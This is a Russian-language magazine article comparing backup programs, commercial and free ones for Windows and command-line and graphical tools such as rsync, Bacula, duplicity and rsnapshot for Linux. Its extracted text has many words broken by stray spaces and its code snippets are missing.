какие фай лы  поменя лись  с момен та  соз дания  пос ледней  резер вной  копии,
заг рузить их в  хра нили ще… Нап рашива ется прос тое решение: мак сималь но
авто мати зиро вать этот про цесс с помощью под ходяще го ПО. И если в mac‐
OS  есть,  нап ример,  встро енное  при ложе ние  для  резер вно го  копиро вания
Time Machine, то раз работ чики вин ды такого удоб ного инс тру мен та в сос таве
ОС  не  пре дус мотре ли,  и  счас тли вым  поль зовате лям  этой  плат формы  при‐ 
ходит ся искать про дук ты сто рон них раз работ чиков.

Ины ми  сло вами,  нам  нуж но  най ти  под ходящую  прог рамму  —  в  иде але
бес плат ную,  под держи вающую  работу  по  рас писанию,  име ющую  воз‐ 
можность  сох ранять  копии  в  сети  или  в  обла ке  и  желатель но  вклю чающую
мак сималь ное  чис ло  типов  резер вно го  копиро вания  (луч ше  все го  все  три).
Итак, что нам пред лага ет рынок?

ACRONIS TRUE IMAGE
О про дук ции ком пании Acronis слы шали, навер ное, все. Логоти пы этой фир‐ 
мы  кра суют ся  на  болиде  «Фор мулы‐1»  рос сий ско го  пилота  Дани ила  Квя та,
да и в интерне те рек ламы Acronis хва тает. Собс твен но, кон тора на про тяже‐ 
нии всей сво ей исто рии спе циали зиру ется на раз работ ке соф та для резер‐ 
вно го копиро вания и потому дос тигла на этом поп рище опре делен ных успе‐ 
хов.  Для  домаш них  поль зовате лей  ком пания  пред лага ет  прог рамму  Acronis
True  Image, рас простра няющуюся  как  в  виде лицен зион ной вер сии, рас счи‐ 
тан ной на одну уста нов ку, так и по под писке.

В  воз можнос ти базовой  вер сии при ложе ния  вхо дит  копиро вание обра за
дис ка или выб ранных фай лов в ука зан ное поль зовате лем хра нили ще, вос ста‐ 
нов ление  дан ных  из  резер вной  копии,  кло ниро вание  дис ковых  раз делов
и защита от шиф роваль щиков  (при ложе ние отсле жива ет запущен ные в сис‐ 
теме  про цес сы  и  пре дуп режда ет  поль зовате ля  при  попыт ке  шиф рования
фай лов:  потен циаль но  опас ный  про цесс  поль зовате лю  пред ложат  заб‐ 
локиро вать).  Покупа телям  под писки  ста новит ся  так же  дос тупно  облачное
хра нили ще на  сер верах Acronis  объ емом 250 Гбайт  (или 1  Тбайт,  в  зависи‐ 
мос ти от того, нас коль ко ты готов рас кошелить ся).

Acronis True Image

Са ма  по  себе  прог рамма  в  вер сии  2020  может  пох вастать ся  понят ным
и  удоб ным  поль зователь ским  интерфей сом:  выбира ешь  локаль ный  диск
и  фай лы,  резер вную  копию  которых  тре бует ся  соз дать,  показы ваешь,  куда
выг ружать  архив,  при чем  в  качес тве мес та  наз начения мож но  выб рать  под‐ 
клю чен ное  локаль но  устрой ство,  уда лен ный  FTP‐сер вер,  NAS  или  любое
обла ко, и… И, собс твен но, все. При желании резер вную копию мож но зашиф‐ 
ровать, а в раз деле «Активность → Парамет ры» — задать рас писание и схе му
резер вно го копиро вания выб ранных объ ектов.

Под держи вают ся  все  три  воз можные  схе мы  копиро вания,  так же  мож но
нас тро ить исклю чения для объ ектов, которые копиро вать не нуж но, и ука зать
пери одич ность соз дания пол ной копии.

В Acronis True Image мож но задать режим копиро вания

Удобс твом  исполь зования  дос тоинс тва  Acronis  True  Image,  собс твен но,
и  огра ничи вают ся,  в  то  вре мя  как  самый  сущес твен ный  недос таток  прог‐ 
раммы —  ком мерчес кая  лицен зия.  Если  срок  ее  дей ствия  закон чился,  вос‐ 
ста новить дан ные из резер вной копии ты уже не смо жешь. Кро ме того, если
ты перес тал опла чивать под писку, копии в обла ке Acronis тоже через некото‐ 
рое  вре мя  будут  уда лены.  Надежен  ли  такой  инс тру мент  хра нения  копий?
Каж дый волен дать собс твен ный ответ, а мы тем вре менем поищем бес плат‐ 
ную аль тер нативу это му при ложе нию.

AOMEI BACKUPPER STANDARD
Это пол ностью бес плат ная для домаш него исполь зования прог рамма с прос‐ 
тым  и  понят ным  интерфей сом,  которую  мож но  ска чать,  нап ример,  .
При ложе ние поз воля ет  соз давать  копии дис ка целиком, отдель ных его раз‐ 
делов,  толь ко  сис темных  фай лов  или  ука зан ных  поль зовате лем  фай ловых
объ ектов. Дос тупен режим кло ниро вания дис ка или его логичес кого раз дела.
В  качес тве мес та  рас положе ния  архи ва мож но  выб рать  локаль ный,  сетевой
диск или облачное хра нили ще.
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Так выг лядит AOMEI Backupper Standard

Из допол нитель ных опций AOMEI Backupper Standard: воз можность запус тить
ука зан ный поль зовате лем batch‐скрипт перед началом или пос ле окон чания
копиро вания,  задать  сте пень  сжа тия  архи ва  и  нас тро ить  раз биение  его
на  тома.  Шиф рование  резер вной  копии  дос тупно  толь ко  в  ком мерчес кой
вер сии прог раммы.

Мож но нас тро ить соз дание резер вных копий по рас писанию: однократ но,
ежед невно  или  в  задан ном  вре мен ном  интерва ле,  при чем  для  это го  пред‐ 
лага ется  исполь зовать  как  стан дар тный  пла ниров щик  заданий Windows,  так
и встро енную служ бу при ложе ния.

Пла ниров щик в AOMEI Backupper Standard

Прог рамма  име ет  в  сво ем  арсе нале  пол ное  и  инкре мен тное  копиро вание,
диф ферен циаль ный  режим  под клю чает ся  в  ком мерчес кой  вер сии  уже
за  день ги.  Кро ме  того,  в  AOMEI  Backupper  Standard  отсутс тву ет  под дер жка
рус ско го  язы ка, одна ко интерфейс прог раммы нас толь ко оче виден и прост,
что  даже  непод готов ленно му  поль зовате лю  впол не  мож но  обой тись  и  без
него. Заг рузку фай лов на FTP‐сер вер прог рамма, к сожале нию, не под держи‐ 
вает.

В целом базовых, бес плат ных фун кций AOMEI Backupper Standard впол не
дос таточ но  для  того,  что бы  заменить  жад ный  до  денег  Acronis  True  Image
на домаш нем компь юте ре или ноут буке.

PARAGON BACKUP & RECOVERY
Ком пания  Paragon  Software  хорошо  извес тна  поль зовате лям  во  всем  мире
сво им  замеча тель ным  при ложе нием  Partition  Magic,  пред назна чен ным
для  гиб кого  управле ния  логичес кими  раз делами  жес тко го  дис ка.  Но  есть
у это го раз работ чика и бес плат ная прог рамма для резер вно го копиро вания

.Paragon Backup & Recovery Community Edition

Ин терфейс Paragon Backup & Recovery

Прог рамма  доволь но‐таки  прос та  в  нас трой ках  и  под держи вает  все  тот  же
набор  базовых фун кций,  что  и  ее  основные  кон курен ты.  Копиро вать  мож но
диск целиком, ука зан ный раз дел или выб ранный поль зовате лем набор фай‐ 
лов и папок. Так же мож но выб рать для копиро вания опре делен ные типы фай‐ 
лов  на  ука зан ном  дис ке:  докумен ты,  музыку  и  видео,  при чем  для  каж дого
из  этих  типов  мож но  ука зать  необ ходимые  рас ширения.  Копии  мож но  сох‐ 
ранять в локаль ной или сетевой пап ке; облачные хра нили ща и FTP в бес плат‐ 
ной  вер сии  при ложе ния  не  под держи вают ся. Не  под держи вает ся  и  рус ский
язык.

В  бес плат ной  вер сии  име ется  воз можность  выпол нять  все  три  вида
резер вно го копиро вания: пол ное, инкре мен тное и диф ферен циаль ное. Мож‐ 
но  нас тро ить  рас писание:  запуск  копиро вания  ежед невно,  еже недель но,
еже месяч но или при стар те сис темы. Одна ко шиф рование резер вных копий
в этой редак ции Paragon Backup & Recovery отсутс тву ет.

IPERIUS BACKUP FREE
Бес плат ная  вер сия  прог рам мно го  ком плек са  Iperius  Backup,  пред назна чен‐ 
ного для соз дания резер вных копий в сре де Microsoft Windows, вклю чая Win‐
dows 10 и Windows Server. Ска чать прог рамму мож но  .с сай та раз работ чика

Так выг лядит Iperius Backup Free

В  бес плат ной  вер сии  Iperius  Backup  воз можнос ти  уре заны:  мож но  выб рать
для копиро вания отдель ные фай лы и пап ки на локаль ном либо сетевом дис ке
и ско пиро вать архив опять же в локаль ную или сетевую пап ку. Копиро вание
на FTP‐сер вер или в обла ко в бес плат ной вер сии не под держи вает ся. Ком‐ 
мерчес кая редак ция Iperius Backup так же может копиро вать диск или раз дел
целиком,  дан ные  с  FTP,  вир туаль ные  машины  Hyper‐V,  дан ные  Microsoft  Ex‐
change и раз личные СУБД.

В при ложе нии име ется пла ниров щик, с помощью которо го мож но нас тро‐ 
ить  копиро вание  в  задан ное  вре мя  —  ежед невно,  еже недель но,  по  дням
недели  или  опре делен ным  датам.  В  нас трой ках  име ется  воз можность  нас‐ 
тро ить спо соб сжа тия архи ва, ведения лог‐фай лов, добав лять или исклю чать
из  бэкапа  сис темные  и  скры тые  фай лы.  Мож но  нас тро ить  отправ ку  сооб‐ 
щения  по  элек трон ной  поч те  при  завер шении  копиро вания,  а  так же  запуск
про изволь ной  прог раммы  или  скрип та  до  или  пос ле  соз дания  резер вной
копии.  Шиф рование  архи ва  в  бес плат ной  вер сии  недос тупно,  зато  прог‐ 
рамма осна щена рус ско языч ным интерфей сом, что уже неп лохо.

Приз нать ся,  я  доволь но  дол го  искал  в  нас трой ках  Iperius  Backup  опции
соз дания самого архи ва — ока залось, что они спря таны в меню диало гово го
окна  «Добавить/соз дать  пап ку  наз начения».  Имен но  там  мож но  выб рать,
как имен но мы будем упа ковы вать наши дан ные, — ока зыва ется, прог рамма
под держи вает  не  толь ко  пол ное,  но  и  инкре мен тное  и  диф ферен циаль ное
копиро вание. Там же мож но вклю чить ZIP‐сжа тие и ука зать пароль для архи‐ 
ва: пол ноцен ное шиф рование бэкапа эта опция, конеч но, не заменит, но все
же пароль ная защита луч ше, чем вооб ще ничего.

Ес ли порыть ся в нас трой ках Iperius Backup Free, мож но най ти мно го
инте рес ного…

Вы вод  в  целом  мож но  сде лать  такой:  воз можнос ти  при ложе ния  выг лядят
впол не прив лекатель ными, но все пор тит доволь но‐таки муд реный и запутан‐ 
ный интерфейс,  полови на  кно пок  в  котором при нажатии пред лага ет  купить
пол ную вер сию прог раммы. Но если пот ратить вре мя и разоб рать ся в ее бес‐ 
плат ных воз можнос тях, их ока жет ся впол не дос таточ но, что бы зак рыть боль‐ 
шинс тво базовых пот ребнос тей.

EASEUS TODO BACKUP FREE
Это еще одна бес плат ная прог рамма от ком пании EaseUS, ска чать при ложе‐ 
ние мож но с  . Сво бод но рас простра няемая вер сия так же име ет ряд
огра ниче ний: не под держи вает ся отдель ное копиро вание архи вов элек трон‐ 
ной  поч ты  Outlook  и  соз дание  рас писания,  осно ван ного  на  событи ях,  —
запуск  мож но  нас тро ить  толь ко  по  вре мени.  Под дер жка  рус ско го  язы ка
отсутс тву ет во всех вер сиях про дук та.

ее сай та

А это — EaseUS Todo Backup Free

Что,  безус ловно,  порадо вало,  так  это  воз можность  шиф рования  бэкапа
с задан ным паролем. Мож но так же вклю чить посек торное копиро вание выб‐ 
ранно го  раз дела —  по‐моему,  эту  опцию  не  под держи вает  ни  одна  дру гая
бес плат ная прог рамма.

За пуск  резер вно го  копиро вания  нас тра ивает ся  по  дням,  неделям
или месяцам. Соз данный архив мож но помес тить на локаль ный или сетевой
диск, в сетевое хра нили ще NAS или в облачное хра нили ще  (если оно опять
же под клю чено к компь юте ру как диск). Копиро вание на уда лен ный FTP‐сер‐ 
вер дос тупно толь ко в плат ной вер сии.

От дель ная  фун кция  прог раммы  —  System  Backup  —  соз дание  обра за
уста нов ленной  на  компь юте ре  опе раци онной  сис темы.  Todo  Backup  Free
сама опре деля ет  тип ОС и поз воля ет сох ранить ее для быс тро го раз верты‐ 
вания. А еще мож но нас тро ить копиро вание толь ко отдель ных фай лов с ука‐ 
зан ных дис ков. К сожале нию, выбор типов фай лов по мас ке или рас ширению
бес плат ным поль зовате лям недос тупен.

Вы бороч ное копиро вание фай лов в EaseUS Todo Backup Free

Кро ме  все го  про чего,  в  этой  вер сии  про дук та  дос тупна  фун кция  кло ниро‐ 
вания дис ка или логичес кого раз дела в виде пошаго вого мас тера, а в допол‐ 
нитель ных нас трой ках Todo Backup Free мож но най ти средс тва для про вер ки
ранее соз данно го обра за дис ка, а  так же для соз дания заг рузоч ной флеш ки
или CD с WinPE или Linux. К сожале нию, я не нашел в нас трой ках прог раммы
воз можнос ти соз давать инкре мен тную и диф ферен циаль ную копию — такое
ощу щение, что Todo Backup Free уме ет работать толь ко с пол ной. Ну и пос‐ 
леднее: при бег лом зна комс тве с этим при ложе нием у меня соз далось впе‐ 
чат ление, что по срав нению с кон курен тами оно явно тор мозит. На мощ ном
компь юте ре это, воз можно, будет не слиш ком замет но, но на нет буке с огра‐ 
ничен ными  аппа рат ными  ресур сами  Todo  Backup  Free  может  и  вов се
повесить сис тему. Будь осто рожен.

ВЫВОДЫ
А  теперь давай све дем информа цию по всем рас смот ренным при ложе ниям
в таб личку.

Срав нение прог рамм резер вно го копиро вания

Ес ли не брать в рас чет ком мерчес кий Acronis True Image, из бес плат ных про‐ 
дук тов наибо лее инте рес ными по ассорти мен ту пред лага емых фун кций выг‐ 
лядят рус ско языч ный Iperius Backup Free и AOMEI Backupper Standard. Вто рой
при  этом  обла дает  более  прос тым  и  инту итив но  понят ным  интерфей сом,
но  не  уме ет  шиф ровать  или  защищать  паролем  резер вные  копии.  Если  же
тебе  необ ходимо  шиф рование,  но  при  этом  дос таточ но  толь ко  прос того
копиро вания  фай лов  без  воз можнос ти  соз дания  инкре мен тных  или  диф‐ 
ферен циаль ных  копий,  мож но  вос поль зовать ся  бес плат ной  прог раммой
EaseUS Todo Backup Free.
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ТРЮКИ

Не дав но мы   про ути литы для резер‐ 
вно го  копиро вания  в  Windows,  одна ко
у линук соидов бэкапы тоже насущ ная проб‐ 
лема.  Нас тало  вре мя  вос ста новить  спра‐ 
вед ливость  и  пос мотреть,  какие  средс тва
поз воля ют  спа сать  цен ные  дан ные  от  раз‐ 
ных напас тей, если на компь юте ре уста нов‐ 
лен один из дис три бути вов Linux.

пи сали

НАРОДНЫЕ МУДРОСТИ
На  базе  Linux  любят  раз ворачи вать  NAS‐  и  FTP‐сер веры.  Для  таких  сис тем
неп лохо бы иметь резер вную копию как минимум кон фигура ции, а в иде але
еще  и  дан ных.  Не  ста ну  читать  оче ред ную  лек цию,  нас коль ко  важ но  оза‐ 
ботить ся  резер вным  копиро вани ем    того,  как  с  основным  носите лем
информа ции прик лючит ся беда. Но пов торю одну прит чу из айтиш ного фоль‐ 
кло ра: люди делят ся на тех,  кто дела ет бэкапы, и  тех,  кто их еще не дела ет.
С осно вами соз дания резер вных копий ты можешь озна комить ся, нап ример,
в упо мяну той статье, а мы не будем тра тить вре мя на теорию и сра зу перей‐ 
дем к делу.

до

WARNING

В  одной  статье  всех  сущес тву ющих  решений
для резер вно го копиро вания не обоз реть, поэто‐ 
му мы рас смот рели и срав нили наибо лее извес‐ 
тные  из  них.  Если  тут  нет  тво ей  любимой  прог‐ 
раммы — не обес судь.

Са мое что ни на есть хар дкор ное резер вное копиро вание дан ных с носите‐ 
лей мож но выпол нить коман дой  . И самое при коль ное, что мож но при мон‐ 
тировать  получив ший ся  образ  и  работать  с  ним  как  с  обыч ным  раз делом
в режиме чте ния и записи. Никаких тебе DAEMON Tools или Alcohol для эму‐ 
лиро вания дис ковода...

dd

Сни маем сле пок устрой ства /dev/sdb1 и мон тиру ем его

По доб ные спо собы под купа ют сво ей прос тотой и удобс твом соз дания резер‐ 
вной копии. К тому же не надо бес поко ить ся, что сле тят пра ва и про чие атри‐ 
буты  фай лов  или  испортят ся  сим воличес кие  ссыл ки.  Еще  мож но  при мон‐ 
тировать, нап ример, Яндекс.Диск и сра зу закиды вать бэкапы на него. Но это
кажет ся удоб ным лишь до поры до вре мени, пока не тре бует ся ста вить соз‐ 
дание  бэкапов  на  поток,  а  нуж но  лишь  снять  образ  с  флеш ки  или  дис ка.
Для более  серь езных  задач  в  Linux  уже  сущес тву ет  дос таточ ное  количес тво
ути лит, дела ющих про цесс резер вно го копиро вания с пос леду ющим вос ста‐ 
нов лени ем поч ти  таким же прос тым  (ну, пос ле некото рой под готов ки),  как в
вин де  или  в  macOS,  поэто му  вмес то  изоб ретения  еще  одно го  велоси педа
давай‐ка луч ше изу чим готовые.

Продолжение статьи →
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ЗАПАСЛИВЫЙ
ПИНГВИН

ПРОГРАММЫ ДЛЯ РЕЗЕРВНОГО
КОПИРОВАНИЯ В LINUX

ТРЮКИ  НАЧАЛО СТАТЬИ←

ТЕМ, КТО ЛЮБИТ ПОМОЩНЕЕ
Ты гик или адми нишь что‐то пос ложнее сети из двух с полови ной хос тов? Тог‐ 
да  спе циаль но для  тебя мы рас смот рим спер ва  исконно  линук совые,  слож‐ 
ные  и  не  всег да  понят ные  с  пер вой  попыт ки  прог раммы  для  соз дания
бэкапов. Нач нем, пожалуй, с клас сики.

rsync
Хо дят  леген ды,  что  ,  появив шаяся  в  1996‐м  и  даже 

,  была раз работа на  для  замены    (remote  copy).  А  имя ее
про изош ло  от  сло восо чета ния  remote  synchronization,  для  чего  она  и  была
пред назна чена.

rsync пор тирован ная
в 1999‐м на NT rcp

Ути лита вклю чена во все популяр ные дис три бути вы Linux; сущес тву ют вер‐ 
сии  для  сис тем  BSD,  macOS  и  Windows.  Эта  сво бод ная  прог рамма
с интерфей сом коман дной стро ки пре дос тавля ет широкие воз можнос ти син‐ 
хро низа ции локаль ных и уда лен ных фай лов с исполь зовани ем собс твен ного
алго рит ма, умень шающе го объ ем пересы лаемо го тра фика. Она при меня ется
для  соз дания  зер кал  и  резер вных  копий  —  пол ных,  инкре мен тных  и  при
желании (вот  ) диф ферен циаль ных. Для авто мати зации мож но
нас тро ить  рас писание  с  помощью  задач  .  При  переда че  на  уда лен ные
хос ты  rsync  уме ет  исполь зовать  раз ный  тран спорт,  в  том  чис ле  rsh,  SSH
и  сырые  сокеты  с  собс твен ным  про токо лом  rsync.  Мож но  ука зывать,  какие
фай лы не сле дует син хро низи ровать, перечис лив их име на, раз мер и не толь‐ 
ко; мож но огра ничи вать ско рость переда чи дан ных и исполь зовать мно жес‐ 
тво дру гих нас тро ек.

один из гай дов
cron

Вот так один малень кий слеш в кон це пути‐источни ка реша ет, будет ли
соз давать ся пап ка в наз начении

Rsync  поз воля ет  соз дать  демон,  сво его  рода  уда лен ный  сер вер  rsync,
который  так же  мож но  скон фигури ровать  совер шенно  по‐раз ному  в  зависи‐ 
мос ти от пос тавлен ной задачи. Он может при нимать уда лен ные соеди нения
ано ним но,  по  паролю  и  без,  с  шиф ровани ем  по  SSH  на  задан ном  пор те
с  исполь зовани ем  клю чей,  с  раз ными  кон фигура циями  для  раз ных  поль‐ 
зовате лей,  соз дава емых  в  рам ках  rsync...  При  всем  этом  для  успешно го
обще ния  двух  узлов  демон  rsync  необя зате лен:  раз ница  меж ду  исполь‐ 
зовани ем демона и работой без него разъ ясня ется на  .сай те про екта

Оп ции нас трой ки демона опи саны в  , а при меры исполь‐ 
зования прог раммы так же  .

man rsyncd.conf
пред став лены на сай те

В  ману але  опи сано  мно жес тво  нюан сов  работы  с  этим  мощ ным  инс тру‐ 
мен том,  таких  как  обра бот ка  сим воличес ких  ссы лок  и  атри бутов  фай лов,
опции уда ления фай лов при обновле нии дирек торий, парамет ры пересыл ки
дан ных  и  мно гое  дру гое,  что  и  в  голову  так  прос то  не  при дет.  В  общем,
в любой непонят ной ситу ации — RTFM!

luckyBackup
Гра фичес кая  ути лита,  пос тро енная  на  осно ве  rsync.    уме ет
делать резер вные копии и выпол нять син хро низа цию, работать с уда лен ными
хос тами  и  эко номить  тра фик,  переда вая  лишь  изме нения  в  дан ных,  гиб ко
нас тра ивает ся (ну еще бы, ведь это потомок rsync). Вне зап но (для меня) под‐ 
держи вает рус ский интерфейс.

LuckyBackup

Для  резер вно го  копиро вания  в  luckyBackup  соз дают ся  про фили,  внут ри
которых мож но доволь но тон ко опре делить задачи:

тип (бэкап или син хро низа ция) и опи сание задачи;•
пра вила  копиро вания  опре делен ных  дирек торий:  нас трой ка  исклю чений
по  шаб лонам,  мож но  задать  их  самос тоятель но  или  исполь зовать  име‐ 
ющиеся; вклю чений, которые дол жны быть обя затель но ско пиро ваны;

•

нас тро ить исполь зование уда лен ного узла в качес тве источни ка или мес та
наз начения, с SSH или без;

•

сох ранение  метадан ных  фай лов,  обра бот ка  ссы лок  и  спе циаль ных  фай‐ 
лов, в том чис ле по поль зователь ским шаб лонам;

•

ко ман ды  обо лоч ки,  которые  необ ходимо  выпол нить  до  или  пос ле
исполне ния задачи;

•

мож но прос мотреть  коман ду  ,  которая будет  запуще на для  выпол‐ 
нения соз данной задачи.

• rsync

За дачи  мож но  вклю чать  или  отклю чать,  тыкая  кур сором  мыши  в  чек бокс
рядом  с  ее  наз вани ем.  Про фили  мож но  экспор тировать  (почему  бы
не  забэка пить  про филь  прог раммы  бэкапа?).  Кон текс тная  справ ка
при наведе нии  кур сора помога ет прос тому смер тно му не затерять ся в рас‐ 
ширен ных опци ях.

Рас ширен ная нас трой ка задач в luckyBackup

Back In Time
 с набором фун кций, очень похожим на luckyBackup. Тоже под держи‐ 

вает про фили, но экспор тировать их нель зя, и внут ри них нет задач — здесь
про филь и есть задача.

Ути лита

Back  In  Time  может  исполь зовать ся  в  кон соль ном  или  GUI‐исполне нии.
Пред лага ет обыч ные или шиф рован ные EncFS копии, которые могут хра нить‐ 
ся локаль но или переда вать ся по SSH. Поз воля ет соз давать бэкапы по дням
и  по  часам,  при  вклю чении  компь юте ра  и  при  под клю чении  устрой ств,
для чего исполь зует   или пра вила  .cron udev

Мож но  нас тро ить  уда ление  ста рых  бэкапов  по  их  воз расту  и  количес тву
сво бод ного мес та  или  инод  (inodes).  Да‐да,  ино ды  тоже могут  закон чить ся,
и тог да ты не смо жешь соз дать файл, даже если есть мес то на дис ке. Вклад ка
Expert Options  содер жит  набор  рас ширен ных  опций  для  .  Бэкапы  ути‐ 
лита сох раня ет в виде архи вов.

rsync

Нас трой ки про филя в Back In Time

Bacula
Опен сор сный    для  резер вно го  копиро вания.  Его  мож но  соб рать
из исходни ков, одна ко  готовые пакеты пос ледних вер сий с сай та раз работ‐ 
чиков прос то так не получишь. Bacula обе щает мощ ную фун кци ональ ность —
прог рамма  не  в  пос леднюю  оче редь  ори енти рова на  на  работу  в  круп ных
компь ютер ных  сетях  и  вооб ще  на  мас шта биро вание;  она  уме ет  делать  все
три  вида  бэкапов.  Име ются  вер сии  для  Windows  (есть  даже  кли ент
под Win98!), macOS и Open/NetBSD.

монстр

Bacula  при дер жива ется  кли ент‐сер верной  архи тек туры  для  орга низа ции
хра нения  резер вных  копий,  то  есть  под разуме вает  исполь зование  отдель‐ 
ного  сер вера,  на  который  кли ент ские машины  ски дыва ют  свои  бэкапы.  Тем
не  менее  мож но  нас тро ить  ее  так,  что бы  она  работа ла  целиком  на  одном
компь юте ре.

Bacula сос тоит из сле дующих ком понен тов:
ди рек тора (Director), который цен тра лизо ван но сле дит за все ми опе раци‐ 
ями резер вирова ния и вос ста нов ления;

•

кон соли  (Console),  с  помощью  которой  поль зователь  управля ет  дирек‐ 
тором. Может исполь зовать коман дную стро ку или GUI;

•

фай лового демона  (File) —  кли ента,  который  уста нав лива ется на  кли ент‐ 
ской машине и обме нива ется дан ными с дирек тором;

•

де мона  хра нили ща  (Storage),  сос тояще го из прог рамм, заведу ющих  хра‐ 
нени ем и управле нием фай лами бэкапов;

•

ка тало га  (Catalog),  в  котором  хра нят ся  дан ные  о  резер вных  копи ях.
Для него Bacula исполь зует MySQL, PostgreSQL или SQLite;

•

мо нито ра  (Monitor)  для  прос мотра  текуще го  сос тояния  перечис ленных
ком понен тов.

•

Так  что  сде лать  резер вную  копию  одной‐единс твен ной  коман дой  в  слу чае
с  Bacula  не  получит ся.  Для  успешной  работы  всей  сис темы  бэкапа  дол жны
быть  нас тро ены  дирек тор,  фай ловый  демон,  демон  хра нили ща  и  каталог.
Такая модуль ность  поз воля ет  гиб ко  ее  кон фигури ровать  и  даже раз ворачи‐ 
вать отдель ные ком понен ты на раз ных сер верах. Адми нис три ровать весь этот
ком байн  воз можно  через  кон соль  или  какую‐либо  гра фичес кую  надс трой ку
(нап ример, Bacula Administration tool), но пер воначаль но необ ходимо соз дать
и отре дак тировать фай лы кон фигов основных ком понен тов.

Для  более  удоб ного  прос мотра  ста тис тики  Bacula  умель цы  раз работа ли
инс тру мент   на базе PHP, но это не единс твен ный веб‐интерфейс,
который мож но прик рутить к Bacula.

Bacula‐Web

Один из дос тупных веб‐интерфей сов. Скрин шот с www.bacula.org

Есть,  одна ко,  у  Bacula  и  минусы  —  вся  инфраструк тура  упа дет  при  отка зе
дирек тора.  Плюс  рань ше  при  изме нении  в  фай ле  даже  пары  бай тов  она
бэкапи ла весь файл, вмес то того что бы сох ранить толь ко дель ту. В свое вре‐ 
мя из‐за подоб ных вещей, а так же из‐за ком мерци али зации у Bacula появи‐ 
лись фор ки:

 (нет, это дру гой Burp, не Burp Suite). Его авто ру  , что Bacula
такая боль шая и мес тами непово рот ливая;

• Burp на доело

. Парень из сооб щес тва раз работ чиков Bacula стал собирать откло‐ 
нен ные прав ки и на их осно ве начал свою ветвь раз работ ки.

• Bareos

duplicity
Это кон соль ная ути лита, пос тро енная на базе   и под держи вающая
пол ное и инкре мен тное копиро вание. Duplicity сох раня ет дан ные в  tar‐архи‐ 
вах  на  уда лен ный  или  локаль ный  фай ловый  сер вер  и  может  исполь зовать
GnuPG для их под писи и шиф рования. На   ука заны под держи‐ 
ваемые  на  текущий  момент  про токо лы  для  работы  с  фай ловым  сер вером,
сре ди  которых  перечис лены  Dropbox,  FTP,  Google  Drive,  IMAP,  MS  Azure
и Onedrive, rsync, SSH/SCP.

librsync

сай те про екта

Прос тей ший шиф рован ный бэкап с исполь зовани ем duplicity

Duplicity пред лага ет сле дующие фичи:
ра боту  с  пра вами  и  атри бута ми  фай лов,  сим воль ными  ссыл ками  и  фай‐ 
лами устрой ств, но жес ткие ссыл ки счи тает за обыч ные фай лы;

•

ис клю чения и вклю чения для соз дания бэкапа, в том чис ле с регуляр ными
выраже ниями;

•

срав нение содер жимого дирек тории с ее резер вной копи ей;•
ло гиро вание и вос ста нов ление к опре делен ной дате;•
сим метрич ное  и  асим метрич ное  шиф рование  резер вной  копии
перед  отправ кой  на  сер вер.  Не  доверя ешь  облачно му  сер вису?  Этот
вари ант для тебя!

•

Здесь  при веде ны,  естес твен но,  далеко  не  все  воз можнос ти duplicity,  но  эта
ути лита  име ет  хорошую  докумен тацию  с  при мера ми,  которая  не  оста вит
в беде неопыт ного юзе ра. Кро ме того, к ней есть гра фичес кий фрон тенд 

 с огра ничен ным набором фун кций, но уме ющий делать все самое необ‐ 
ходимое. В сис теме он может называть ся Backups.

Déjà
Dup

Déjà Dup весь ма лакони чен и прост
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https://rsync.samba.org/nt.html
https://tylersguides.com/guides/rsync-backups/
https://rsync.samba.org/how-rsync-works.html
https://rsync.samba.org/examples.html
http://luckybackup.sourceforge.net/index.html
https://github.com/bit-team/backintime
https://www.bacula.org/
https://www.bacula-web.org/
https://burp.grke.org/
https://burp.grke.org/why.html
https://www.bareos.org/
http://duplicity.nongnu.org/
https://wiki.gnome.org/Apps/DejaDup


ЗАПАСЛИВЫЙ
ПИНГВИН

ПРОГРАММЫ ДЛЯ РЕЗЕРВНОГО
КОПИРОВАНИЯ В LINUX

ТРЮКИ  НАЧАЛО СТАТЬИ←

КОГДА ХОЧЕТСЯ ЧЕГО-НИБУДЬ ПОПРОЩЕ
Ес ли  ты нас тра иваешь резер вное  копиро вание для  какой‐нибудь домаш ней
рабочей  стан ции,  то  у  тебя,  навер ное,  нет  осо бого  желания  ковырять ся
в деб рях ману алов rsync или возить ся с раз верты вани ем Bacula. В этом слу‐ 
чае на помощь при ходят    нес ложные  инс тру мен ты,  которые  тихо
дела ют свое дело и не тре буют слиш ком мно го   вре мени на раз верты‐ 
вание и нас трой ку.

Чип и Дейл
моз гов

rsnapshot
,  так же  раз работан ная  на  осно ве  rsync,  уме ет  делать  инкре мен тные

«снап шоты»  фай ловой  сис темы  (а  еще  под держи вает  LVM)  и  сох ранять  их
на локаль ной или  уда лен ной машине по про токо лам SSH и  rsync. На самом
деле она  соз дает  прос тые фай ловые  копии.  Уме ет  работать  с  вклю чени ями
и исклю чени ями так же, как rsync, запус кать скрип ты до и пос ле выпол нения
копиро вания. Для авто мати зации задачи пред лага ется исполь зовать  .

Ути лита

cron
Пе ред запус ком ути литы необ ходимо нас тро ить кон фиг 
. Все опции в нем хорошо про ком менти рова ны, так что, если ты зна ешь

англий ский хотя бы на уров не чте ния кон фигов, проб лем воз никнуть не дол‐ 
жно. При мер прос тей шей нас трой ки  с изме нени ем лишь пары строк мож но
най ти в   (толь ко теперь опцию   замени ла  ).

/etc/rsnapshot.
conf

этой статье interval retain

Ку сок фай ла кон фигура ции rsnapshot. Здесь мож но нас тро ить прог ‐
раммы для выпол нения отдель ных задач, вре мен ные пап ки, интерва лы
для пла ниро вания и поведе ние ути литы в целом

Ес ли  с момен та  прош лого бэкапа  какие‐то фай лы  не  изме нились,  то  rsnap‐
shot  в  целевой  дирек тории  прос то  соз даст  жес ткие  ссыл ки  на  такие фай лы
в пре дыду щем бэкапе. Кста ти, она из короб ки орга низу ет ротацию резер вных
копий сог ласно задан ному в кон фиге количес тву одновре мен но хра нящих ся
копий.

Rsnapshot зас тавля ет mv и rsync делать ротацию бэкапов. Обра ти вни ‐
мание на вто рой стол бец в выводе ls — счет чик жес тких ссы лок

Раз работ чики пред лага ют нем ного муд реный раз дел  , пос вящен ный
тому, как вос ста новить фай лы из бэкапа с пра виль ным раз гра ниче нием прав
поль зовате лей — спе циаль ной опции для это го в rsnapshot пока нет. То есть
ты,  ско рее  все го,  резер вную  копию‐то  сде лаешь,  а  кор рек тным  вос ста нов‐ 
лени ем  из  нее  будешь  занимать ся  уже  «как‐нибудь  потом»  или  же  прос то
вос поль зуешь ся  . А вооб ще это неп лохая кон соль ная аль тер натива с дос‐ 
той ным  арсе налом  фун кций  на  слу чай,  если  тебе  лень  раз бирать ся
с ассорти мен том клю чей rsync.

HOW‐TO

cp

rdiff-backup
